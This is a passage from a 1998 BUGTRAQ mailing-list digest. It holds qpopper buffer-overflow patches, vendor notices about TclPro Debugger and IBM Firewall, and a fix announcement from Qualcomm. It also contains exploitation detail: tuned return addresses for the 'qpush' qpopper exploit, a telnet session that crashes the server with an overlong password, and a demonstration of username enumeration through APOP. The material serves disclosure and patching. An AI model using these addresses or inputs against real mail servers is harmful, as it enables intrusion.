And then to fix the possibility of a From: header overrunning things in
pop_uidl.c during an EUIDL command from the POP client:
*** work/qpopper2.41beta1/pop_uidl.c Wed Nov 19 14:20:38 1997
--- work2/qpopper2.41beta1/pop_uidl.c Sun Jun 28 13:09:56 1998
*************** from_hdr(p, mp)
*** 101,107 ****
POP *p;
MsgInfoList *mp;
{
! char buf[MAXLINELEN], *cp;
fseek(p->drop, mp->offset, 0);
while (fgets(buf, sizeof(buf), p->drop) != NULL) {
--- 101,112 ----
POP *p;
MsgInfoList *mp;
{
! /*
! * Shorten this buffer so that an extra-long From: header
! * won't overflow the buffers in the pop_euidl() where
! * this function is called. 128 should be sufficient.
! */
! static char buf[MAXLINELEN - 128], *cp;
fseek(p->drop, mp->offset, 0);
while (fgets(buf, sizeof(buf), p->drop) != NULL) {
Aaron out.
------------------------------
Date: Mon, 29 Jun 1998 10:54:15 -0500
From: Aleph One
Subject: SECURITY FIX - TclPro Debugger beta release 1 & 2
---------- Forwarded message ----------
Date: Fri, 26 Jun 1998 15:19:26 -0700
From: Ray Johnson
Subject: SECURITY FIX - TclPro Debugger beta release 1 & 2
Newsgroups: comp.lang.tcl
Attention! - All users of the beta releases of the TclPro Debugger
Problem:
The 1.0 beta 1 & 1.0 beta 2 releases of the TclPro Debugger contain a
security hole. A bug in those releases makes the debugger vulnerable to
malicious attacks on the port the debugger listens on for connections with
Tcl applications.
Solution:
We suggest that if you are currently using either TclPro Debugger beta 1
or beta 2 that you stop using it and download the beta 3 version of TclPro
Debugger. The beta 3 release contains no known security related bugs.
As with any beta software, we recommend that you never run the
debugger as root or on machines that are critical to your environment.
We are working hard to produce the best software possible and apologize
in advance for any bugs in our beta releases. We also want to thank our
beta testers for finding bugs, making suggestions and in general helping
us to improve our products.
Ray Johnson
Engineering Manager for TclPro
P.S. You will find the beta 3 version of TclPro Debugger has
additional enhancements (aside from the security fix) that
are significant.
------------------------------
Date: Mon, 29 Jun 1998 13:03:23 -0500
From: Aaron Goldblatt
Subject: SSL Vulnerability - IBM Firewall
I've verified with IBM support that the IBM eNetwork Firewall v3.2 for both
AIX and Windows NT are vulnerable to the SSL attack that AlephOne forwarded
to this list earlier this week, reported in CERT Advisory 98.07.
The eNetwork Firewall team expects to release a FixPack (patch) within the
coming week, possibly as early as tomorrow. When it is released I'll post
its location.
Aaron Goldblatt
agoldblatt@trantortech.com
Certified Solutions Expert - IBM Firewall (NT)
------------------------------
Date: Mon, 29 Jun 1998 10:53:22 -0700
From: Dustin Sallings
Subject: Re: More problems with QPOPPER -
> The answer to all this is of course cucipop, by S. R. van den Berg (of
> procmail fame):
>
> ftp://ftp.informatik.rwth-aachen.de/pub/packages/cucipop/
Looks to me like that still runs as root:
static const auth_identity*transmogrify(const auth_identity*pass)
{ initappdb();opendb();
return setuid(auth_whatuid(pass))?(auth_identity*)0:pass;
}
That function is called by a function 189 scary lines into main. They
make very good use of space, too, so it'd take a while to figure out how much
stuff happened before that:
main(int argc,const char*const argv[])
{ unsigned loginattempts=0,quiet=0,debug=0;short port=POP3_PORT;
unsigned douser=1,douidl=1,doapop=1,dotop=1,autodel=0,sabotage=0;
static const char tdotnl[]=".\r\n";time_t agecutoff=-AGETOLERANCE;
openlog(cucipopn,LOG_PID,LOG_FACILITY);sockin=stdin;sockout=stdout;
It may be secure to safely run as root, but it would take a pass
through indent and quite a bit of code review (and expansion) before I'd feel
safe running it.
Try cyrus, which in my installation at home never touches any UID other
than 5003:
http://andrew2.andrew.cmu.edu/cyrus/
It's an IMAP server that does POP, too. While there may be buffer
overruns, etc... in these daemons, I feel a little better knowing that there's
one less service running as root, and one less service that will not
immediately dump out a root shell if someone overflows a stack. Not to mention
my mail server only has UNIX accounts for administrative users, so it's that
much harder to break.
Generally, if I find myself doing something as root, I start searching
for a way to tie it down to a less painful uid. It's no excuse for bad code,
but it's a pretty big layer of padding.
--
dustin sallings
http://2774144194/~dustin/
------------------------------
Date: Mon, 29 Jun 1998 23:19:44 +0200
From: Herbert Rosmanith
Subject: Re: qpush: qpopper exploit source
dear listmembers,
unfortunately, I've forgotten to add some information about the environment
'qpush' runs. let me do that now:
o target architecure: that's the architecure where popper runs.
this must be ix86-linux. will not work on FreeBSD or any other os.
o 'local' architecure: that's the programm to run 'qpush' on.
this can be anything you want, but mind that on other systems
than linux, you may have to add header files and/or libaries.
don't forget to byte-swap (ntohl()) the addrlist entries on
big endian machines.
o debian QPOP v2.2 seems to be immune to 'qpush' ?
o if you have compiled popper yourself, the return adresses in
"addrlist" may not match your binary. try altering these adresses.
o 'qpush' at least works for suse-linux qpopper v2.2 (same binary every-
where). suse has been mailed about that.
o I've check qpush with several homebrewed binaries and found that
long addrlist[]={
0xbfffeee4, /*2.2*/
0xbfffeb80 /*2.41beta1*/
}
will work better than the "0xbfffec18 /*2.41beta1*/"
before.
best regards,
herbert rosmanith
herp@wildsau.idv.uni-linz.ac.at
------------------------------
Date: Mon, 29 Jun 1998 17:30:56 -0700
From: Laurence Lundblade
Subject: qpopper security hole fix from Qualcomm soon
Here at Qualcomm, we have the fix for the qpopper buffer overrun problem.
It should be up on our FTP server Tuesday. It will be available as a patch
or the full tar ball and will be qpopper version 2.5. The URL to watch is:
ftp://ftp.qualcomm.com/eudora/servers/unix/popper
We're sorry about this problem. Qpopper was once checked for this in the
past by a person that has long since left the company. (Which I guess means
we can't do anything to him)
Laurence Lundblade
QUALCOMM Inc.
------------------------------
Date: Mon, 29 Jun 1998 02:00:59 -0600
From: "Aaron D. Gifford"
Subject: Re: More problems with QPOPPER -
John Fraizer wrote:
>
> After applying all the patches with exception of the PAM patch in the
> .RPM'd version of qpopper2.4.src,
> I have located yet another hole in qpopper.
>
> This popper was compiled with -DAUTH in the makefile.
>
> Connecting to the popper and sending a line of garbage will now generate
> the maximum permitted size
> error. Providing an INVALID username and sending a line of garbage (1000+
> chars), does not segfault. I
> was beginning to relax.
>
> [OverKill]:/$ telnet localhost pop3
> Trying 127.0.0.1...
> Connected to localhost.
> Escape character is '^]'.
> +OK QPOP (version 2.4) at Victim.Com starting.
> xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
> xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
> -ERR Command "xxxxxxxxxxxxxxxxx" (truncated) exceedes maximum permitted
> size.
> user blah
> +OK Password required for blah.
> pass
> xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
> xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
>
> -ERR Password supplied for "blah" is incorrect.
> +OK Pop server at Victim.Com signing off.
> Connection closed by foreign host.
>
> I decided to try a long username:
>
> [OverKill]:/$ telnet localhost pop3
> Trying 127.0.0.1...
> Connected to localhost.
> Escape character is '^]'.
> +OK QPOP (version 2.4) at Victim.Com starting.
> user
> xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
> xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
> -ERR Argument 1 "xxxxxxxxxxxxxxxxx" (truncated) exceeds maximum permitted
> size.
>
> Handled it just fine.
>
> Then, I decided to try a VALID username:
>
> [OverKill]:/$ telnet localhost pop3
> Trying 127.0.0.1...
> Connected to localhost.
> Escape character is '^]'.
> +OK QPOP (version 2.4) at Victim.Com starting.
> user valid
> +OK Password required for valid.
> pass
> xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
> xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
> Connection closed by foreign host.
>
> It segfaulted and dumped core.
>
> Damnit, Jim, I'm a Doctor not a C programmer! I have managed to locate
> the portion of the code that is bypassing the " -ERR Command
> "xxxxxxxxxxxxxxxxx" (truncated) exceedes maximum permitted size. " code
> from the installed patches:
>
> In pop_parse.c, we find:
>
> /*
> * This is kinda gross. Passwords have to be parsed diffrently
> * as they may contain spaces. If you think of a cleaner way,
> * do it. The "p->pop_command[0] == 'p'" is so save a call to
> * strcmp() on ever call to pop_parse(); This parsing keeps
> * leading and trailing speces behind for the password command.
> */
> if(p->pop_command[0] == 'p' && strcmp(p->pop_command,"pass") ==
> 0) {
> if (*mp != 0) {
> p->pop_parm[1] = mp;
> if (strlen(mp) > 0) {
> mp = mp + strlen(mp) - 1;
> while (*mp == 0xa || *mp == 0xd) *mp-- = 0;
> }
>
> Looks like basically that if the parser sees that the command was actually
> a password argument, it doesn't send it through the truncate code.
Looks like qpopper after the "if(p->pop_command..." bit assumes everything
else in the buffer is the password except any trailing CR/LF characters, which
it removes. I cannot understand the "if (strlen(mp) > 0) {" test, because the
previous "if (*mp != 0) {" test should guarantee that strlen() will always at
least return 1.
For those who want to be consistent about limiting argument length using
MAXPARMLEN, you can try this snippit instead of the above existing snippit in
pop_parse.c:
if(p->pop_command[0] == 'p' && strcmp(p->pop_command,"pass") == 0) {
if (*mp != 0) {
if (strlen(mp) > MAXPARMLEN) {
mp[MAXPARMLEN] = '\0';
pop_msg(p,POP_FAILURE,
"Argument %d \"%s\" (truncated) exceeds maximum permitted
size.",
i+1, mp);
return(-1);
}
p->pop_parm[1] = mp;
mp = mp + strlen(mp) - 1;
while (*mp == 0xa || *mp == 0xd) *mp-- = 0;
return(1);
} else
return (-1);
}
PLEASE be aware that you need a large enough MAXPARMLEN defined in popper.h to
handle large passwords or APOP depending on your individual needs. I've been
using 32 on my system, which should permit APOP to work.
Another fun qpopper trivia fact for the security conscious: While looking at
the APOP stuff, I see that it is possible to glean valid user names from sites
using certain configurations of qpopper with APOP support. For example:
localhost# telnet localhost 110
+OK QPOP (version 2.41beta1) at localhost starting.
<18115.899106609@localhost>
APOP bogus-user 1638de71888f8c3ff023ac5c38621211
-ERR Password supplied for "bogus" is incorrect.
+OK Pop server at localhost signing off.
Connection closed by foreign host.
localhost# telnet localhost 110
+OK QPOP (version 2.41beta1) at localhost starting.
<18119.899106628@localhost>
APOP real-user 8463af56e9a5d72cc84012ad7748f92c
-ERR not authorized
+OK Pop server at localhost signing off.
Connection closed by foreign host.
localhost#
Nice. In some cases where APOP support is compiled in but the APOP database
does not exist, the error message on a valid user might be "-ERR POP
authorization DB not available (real-user)" instead of the "-ERR not
authorized" message. I don't know if this would work for sites with properly
configured APOP or not. It worked on my own machine which does NOT use APOP
but had APOP compiled in by default.
Aaron out.
------------------------------
End of BUGTRAQ Digest - 28 Jun 1998 to 29 Jun 1998
**************************************************